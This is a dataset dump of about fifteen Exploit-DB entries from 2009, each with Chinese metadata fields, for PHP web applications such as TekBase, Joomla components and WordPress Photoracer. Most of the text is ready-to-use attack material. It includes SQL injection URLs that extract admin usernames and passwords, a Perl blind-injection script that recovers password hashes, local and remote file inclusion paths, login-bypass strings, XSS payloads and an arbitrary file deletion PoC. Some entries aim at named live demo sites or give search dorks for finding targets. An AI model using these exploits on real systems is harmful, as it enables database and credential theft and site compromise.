QLWD/code_shield huggingface dataset:
标题: TekBase All-in-One 3.1 - Multiple SQL Injections EDB-ID: 8977 CVE: 2009-2120 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-17 漏洞利用脚本: ############################
# Author: n3wb0ss
# Date: 15/06/09
# Contact: n3wboss@Safe-mail.net
############################
# Software: TekBase All-in-One 3.1 
# Vendor: tekbase.de
# Example: http://demo.tekbase.de/
# Vendor contacted: No
# Risk: High
############################
# I found this website on a german board, looking for another script.
# Looks to me, like a Gameserver,TS-Server,Whatever-Server-Managing Script. No matter...
# It's vuln I found a lot more, but I decided to release just two examples to the public.
# U need accessdate, you can get them for demo on tekbase.de (Admin&Customer-Login)
############################
# Here it is (adminaccess needed):
# Unfortunately I can't provide any sourcecode of this shit... it's closed source crap. But I think it should be easy to get it :P
# Have fun!
# POC: 
http://demo.tekbase.de/admin.php?op=adminSupport&zahl=0&torder=&tcounter=15&ids=99991%27/**/unIon/**/Select/**/1,2,3,4,CONCAT(unhex(hex(TABLE_NAME))),6,7,8,9,10,11/**/frOM/**/INFORMATION_SCHEMA.COLUMNS/**/liMIT/**/-1/*

############################
# Second one( just be a member):
# POC:
http://demo.tekbase.de/members.php?op=membersBills&y=-2007%27/**/unION/**/SeleCT/**/1,TABLE_NAME,3,4,5,6,7,8/**/FroM/**/INFORMATION_SCHEMA.TABLES/*
http://demo.tekbase.de/members.php?op=membersBills&y=-2007%27/**/unION/**/SeleCT/**/1,group_concAT(admin,0x3a,password),3,4,5,6,7,8/**/FroM/**/teklab_admin/*

############################
# As said before, just 2 of many vulns
# 
#
# H4ppy Gr33tinGs to the only On3
#
###########################

# milw0rm.com [2009-06-17] URL: https://www.exploit-db.com/exploits/8977
标题: PHPortal 1 - 'topicler.php?id' SQL Injection EDB-ID: 8966 CVE: 2009-2098 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=              Phportal v1 Remote SQL Injection Vuln.      
=             
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   Phportal(http://phportal.mertindualari.com)
= Price:    Free
=
= Author: xoron
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= BUGS   
=
=  Sql Injections:
=      /topicler.php?id=13/**/union/**/select/**/0,parola/**/from/**/uyeler/*
=      /topicler.php?id=13/**/union/**/select/**/0,kulladi/**/from/**/uyeler/*               
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8966
标题: Joomla! Component com_iJoomla_rss - Blind SQL Injection EDB-ID: 8959 CVE: 2009-2099 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component com_ijoomla_rss Blind SQL Injection Exploit              o\n";
  print "  o   Author:xoron                                               o\n";
  print "  o   More info:http://joomla15.ijoomlademo.com o\n";
  print "  o   vendor:http://ijoomlademo.com                                o\n";
  print "  o   Dork :   com_ijoomla_rss                                       o\n";
  print "  o   Usage:   perl bachir.pl host path <options>                       o\n";
  print "  o   Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $sid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "s=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"s"})
{
  $sid = $options{"s"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $sid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $sid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $sid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_ijoomla_rss&act=xml&cat=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "seminar_boxA";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8959
标题: PHPCollegeExchange 0.1.5c - 'listing_view.php?itemnr' SQL Injection EDB-ID: 8962 CVE: 2009-2096 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: #################################################################################################################
[+] phpCollegeExchange 0.1.5c (listing_view.php itemnr) SQL Injection Vulnerability
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Script homepage : http://phpcollegeex.sourceforge.net/

[+] SQL Injection 

   http://127.0.0.1/[path]/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(email,0x3a,0x3a,0x3a,password),5,6,7,8,9,10+from+users--

#################################################################################################################

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8962
标题: adaptweb 0.9.2 - Local File Inclusion / SQL Injection EDB-ID: 8954 CVE: 2009-2152 2009-2151 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: #################################################################################################################
[+] AdaptWeb 0.9.2 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Script : http://adaptweb.sourceforge.net/
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Script homepage : http://adaptweb.sourceforge.net/

[+] Local File Inclusion

- PoC 

   http://127.0.0.1/[path]/index.php?newlang=../../../../../../BOOTSECT.BAK%00


[+] SQL Injection

- PoC

   http://127.0.0.1/[path]/a_index.php?opcao=TopicosCadastro1&CodigoDisciplina=null+union+all+select+concat_ws(0x3a,senha_usuario,email_usuario)+from+usuario+where+id_usuario=1--&numtopico=1

#################################################################################################################


# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8954
标题: DB Top Sites 1.0 - 'index.php?u' Local File Inclusion EDB-ID: 8952 CVE: 2009-2110 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: ######################################################################
[+] DB Top Sites v1.0 (index.php u) Local File Inclusion Vulnerability
[+] Discovered By SirGod 
[+] www.mortal-team.org
#######################################################################

[+] Local File Inclusion

 - Vulnerable code is everywhere

-------------------------------------------------------------------------------------------------------
if ( $u != "" ) {

if ( file_exists( "./sites/session/$u.session.php" ) ){
include "./sites/session/$u.session.php";
include "./sites/$u.php";
-------------------------------------------------------------------------------------------------------

- PoC's

    http://127.0.0.1/[path]/full.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/index.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/contact.php?u=../../../../../../BOOTSECT.BAK%00


#######################################################################

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8952
标题: WordPress Plugin Photoracer 1.0 - 'id' SQL Injection EDB-ID: 8961 CVE: 2009-2122 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: Wordpress Photoracer Plugin => SQL injection
http://wordpress.org/extend/plugins/photoracer/ 

Author: Kacper
Website: http://devilteam.pl/

Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum, 

Pozdro: Ratman, Kopaczka, FDJ

Elo: dla GLOBUSa za pomoc w crackowaniu hasel.

Vuln:

http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--

big thanks str0ke for you!

be safe all :)

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8961
标题: impleo music Collection 2.0 - SQL Injection / Cross-Site Scripting EDB-ID: 8947 CVE: 2009-2154 2009-2153 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: #################################################################################################################
[+] Impleo Music Collection 2.0 (SQL/XSS) Multiple Remote Vulnerabilities
[+] Download: http://sappy.dk/impleo/download-impleo
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] SQL Injection ( Auth Bypass )

- Requirements : magic_quotes_gpc = off

- Vulnerable code in /admin/login.php

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 $postbruger = $_POST['username'];
 $postpass = md5($_POST['password']); 
 $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") 
or die("<p>" . mysql_error() . "</p>\n");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

- PoC 

  Login Username : admin ' or ' 1=1
  Login Password : anything


[+] Cross Site Scripting

- PoC 

    http://127.0.0.1/[path]/index.php?sort="><script>alert(document.cookie)</script>

#################################################################################################################

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8947
标题: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion EDB-ID: 8946 CVE: 2009-2100 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : ByALBAYX
                              
@~~=Website  : WWW.C4TEAM.ORG
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)
@~~=======================================~~@
@~~=Script   : Joomla Component Com_Projectfork

@~~=S.Site   : http://joomlapraise.com
@~~=======================================~~@

@~~=Vul      :

@~~=http://c4team.org/ [Yol] /index.php?option=com_projectfork&section=  [-LFI-]

@~~=Dork     : inurl:"com_projectfork"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..

@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8946
标题: tbdev 01-01-2008 - Multiple Vulnerabilities EDB-ID: 8942 CVE: 2009-2141 2009-2138 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-12 漏洞利用脚本: TBDev - Cross Site Scripting and HTML Injection Vulnerabilities

Version Affected: 01-01-2008 (16th January 2008) (newest)

Info: TBDEV.NET is a project to further enhance, update and develop a
software (php peer-to-peer) from the original torrentbits/bytemonsoon
source code.

Credits: InterN0T

External Links:
http://www.tbdev.net


-:: The Advisory ::-

Vulnerable Function / ID Calls:
returnto

Cross Site Scripting: (Sysops / Mods Only!)
http://[HOST]/tbdev/tbdev-01-01-08/makepoll.php?returnto=><script>alert(0)</script>
http://[HOST]/tbdev/tbdev-01-01-08/polls.php?action=delete&pollid=1&returnto=><script>alert(0)</script><br

Cross Site Script Redirection: (Sysops / Mods Only!)
http://[HOST]/tbdev/tbdev-01-01-08/news.php?action=delete&newsid=1&returnto=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&sure=1

Cross Site Script Redirection: (Anyone, the enduser will need to log in
though)
http://[HOST]/tbdev/tbdev-01-01-08/login.php?returnto=http://[HOST]
http://[HOST]/tbdev/tbdev-01-01-08/login.php?returnto=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

HTML Injection:
1) http://[HOST]/tbdev/tbdev-01-01-08/my.php
-- Info field: &lt;/textarea&gt;<script>alert(0)</script> << is reflected
locally only!

2) http://[HOST]/tbdev/tbdev-01-01-08/my.php
-- Avatar field: javascript:alert(0)

2b) Affected Sites by HTML Injection:
http://[HOST]/tbdev/tbdev-01-01-08/userdetails.php?id=USERID

Internet Explorer 6 and perhaps 7 should be triggered by this.
Please see: http://ha.ckers.org/xss.html for more information.
Browser Tested: Internet Explorer 7 (FireFox 3 was tested for the other
vulnerabilities)

-:: Solution ::-
Secure redirection calls with referer headers (just an example) and
filter bad characters.

Conclusion:
This system was fun to find bad code in, it sure had a nice diversity of
vulnerabilities.

Reference:
http://forum.intern0t.net/intern0t-advisories/1121-intern0t-tbdev-01-01-2008-multiple-vulnerabilities.html

Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.


All of the best,
MaXe

# milw0rm.com [2009-06-12] URL: https://www.exploit-db.com/exploits/8942
标题: TransLucid 1.75 - Multiple Vulnerabilities EDB-ID: 8943 CVE: 2009-2145 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-12 漏洞利用脚本: transLucid - Cross Site Scripting and HTML Injection Vulnerabilities

Version Affected: 1.75 (newest)

Info: transLucidonline is the easy website publishing system with which
anyone can create and maintain web content, in multiple languages and
based on a growing list of ready-made, professional layouts.

Credits: InterN0T (macd3v and MaXe)

External Links:
http://www.pantha.net/


-:: The Advisory ::-

Vulnerable Function / ID Calls:
NodeID & action (vulnerable in both admin and public panels)

Cross Site Scripting: (anyone - this was tested with public mode on)
1)
http://[HOST]/translucid/transLucid_175/?NodeID="><script>alert(0)</script>
2)
http://[HOST]/translucid/transLucid_175/?action="><script>alert(0)</script>
(found by macd3v)
3)
http://[HOST]/translucid/transLucid_175/?admin_section=1&NodeID="><script>alert(0)</script>
-- Number 3 might require moderator or administrative access if public
mode is not turned on.

HTML Injection:
- If public mode is on / chosen, editing the following page-fields will
result in script execution: Title & Url

Adding a new page can result in HTML Injection too. (Parent & Child
pages were fully tested.)

Affected Sites by HTML Injection: (there will most likely be a lot more.)
http://[HOST]/translucid/transLucid_175/?action=switchto_editmode
-- In the admin panel "> needs to be prepended most likely in order to
execute the injection.
--=-- Switching the theme to Developer can result in HTML Injection if
there is any injected.

-:: Solution ::-
Regular expression match and / or bad characters conversion rocks!

Conclusion:
Easy to install and use, but the code should have been reviewed long ago.

Reference:
http://forum.intern0t.net/intern0t-advisories/1122-intern0t-translucid-1-75-multiple-vulnerabilities.html

Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.


All of the best,
MaXe

# milw0rm.com [2009-06-12] URL: https://www.exploit-db.com/exploits/8943
标题: Mundi Mail 0.8.2 - 'top' Remote File Inclusion EDB-ID: 8948 CVE: 2009-2095 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-15 漏洞利用脚本: ----------------------------------------------------------------------------------------------------------


  Name : Mundi Mail
  Site : http://sourceforge.net/projects/mundimail/

  Down : http://sourceforge.net/project/showfiles.php?group_id=100875&package_id=108474&release_id=221732


----------------------------------------------------------------------------------------------------------


 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com


----------------------------------------------------------------------------------------------------------


  Description:

  Bug : Local/Remote File Inclusion

 template/simpledefault/admin/_masterlayout.php:10: include($top);




  If allow_url_fopen=on   --> RFI;
  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------------


  P0c:
 
    LFI:http://localhost/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=/etc/passwd

    RFI:http://localhost/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=[EVIL_CODE]


  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-15] URL: https://www.exploit-db.com/exploits/8948
标题: Zip Store Chat 4.0/5.0 - Authentication Bypass EDB-ID: 8935 CVE: 2009-2142 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-12 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)
@~~=======================================~~@
@~~=Script   : Zip Store Chat 4.0 + 5.0

@~~=S.Site   : http://zipstore.com.br
@~~=======================================~~@

@~~=Vul

@~~=http://c4team.org/ [Yol] /admin/index.asp

Login: ' or '

Senha: ' or '

@~~=Demo    : 

@~~=http://zipstore.com.br/chat/4.0/admin/index.asp

@~~=http://zipstore.com.br/chat/5.0/admin/index.asp
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-12] URL: https://www.exploit-db.com/exploits/8935
标题: campus virtual-lms - Cross-Site Scripting / SQL Injection EDB-ID: 8937 CVE: 2009-2150 2009-2149 2009-2148 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-12 漏洞利用脚本: +-----------------------------------------------------------------------------+
LMS:   Campus Virtual-LMS
WEB:   http://campusvirtualcomputrade.cae.net

Autor: YasiÃ³n
Fecha: 12 jun 2009
+-----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] SQLi
 -----------------------------------------------------------------------------+
   Archivo: news/index.php [no logged]
   GET: ?id
   InyecciÃ³n: -1 union select 1,2,3,4,5,6,7
 -----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] XSS
 -----------------------------------------------------------------------------+
   Archivo: enrolments/step1.php [no logged]
   GET: ?courseid
   InyecciÃ³n: 1"><script>alert(/xD/.source)</script>

   Archivo: files/shared_list.php [logged]
   GET/POST: ?search
   InyecciÃ³n: "><script>alert(/xD/.source)</script><!--

   Archivo: files/shared_list.php [logged]
   GET: ?siteid
   InyecciÃ³n: "><script>alert(/xD/.source)</script><!--
 -----------------------------------------------------------------------------+

 -----------------------------------------------------------------------------+
 [+] CSRF
 -----------------------------------------------------------------------------+
   Archivo: login/logout.php
   Info: Desconecta al usuario mediante una imagen, un redireccionamiento, un
   link...

   Archivo: enrolments/step2.php
   GET: ?action=[ACTION]&orderid=[ORDERID]&courseid=[COURSEID]
   Info: AÃ±ade o elimina [ADD/DELETE] el curso identificado por COURSEID a la
   cesta identificada por ODERID.    SerÃ­a necesario conocer por adelantado la
   cesta del usuario. (No explotable)
 -----------------------------------------------------------------------------+

+-----------------------------------------------------------------------------+
Gretz: UnderSecurity.net
+-----------------------------------------------------------------------------+

# milw0rm.com [2009-06-12] URL: https://www.exploit-db.com/exploits/8937
标题: TorrentVolve 1.4 - 'deleteTorrent' Delete Arbitrary File EDB-ID: 8931 CVE: 2009-2101 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-11 漏洞利用脚本: ----------------------------------------------------------------------------------------------------

  Name : Torrent Volve
  Site : http://sourceforge.net/projects/torrentvolve/
  Down : http://sourceforge.net/project/showfiles.php?group_id=179905&package_id=207933&release_id=476030

----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------

  Description:

  Bug : Delete Arbitrary file.
     
  Look this in: archive.php; Lines 194 - 199

  if(isset($_GET['deleteTorrent'])) {

                //delete Torrent from file system
                unlink($userDir . '/' . $_GET['deleteTorrent']);
                echo '  <div class="divStatus">' . $_GET['deleteTorrent'] . ' deleted.</div>' . "\n";
        }
 
  Then after login we can delete files, if you delete the configuration file you can install the script again.
 

----------------------------------------------------------------------------------------------------

  P0c:
 
    http://localhost/Scripts/torrentvolve/archive.php?deleteTorrent=../../../config/configuration.xml

  To install again go to:

    http://localhost/Scripts/torrentvolve/
   

  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11] URL: https://www.exploit-db.com/exploits/8931